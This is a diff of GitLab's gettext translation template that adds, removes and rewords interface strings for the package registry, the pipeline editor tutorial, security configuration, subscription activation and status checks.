msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
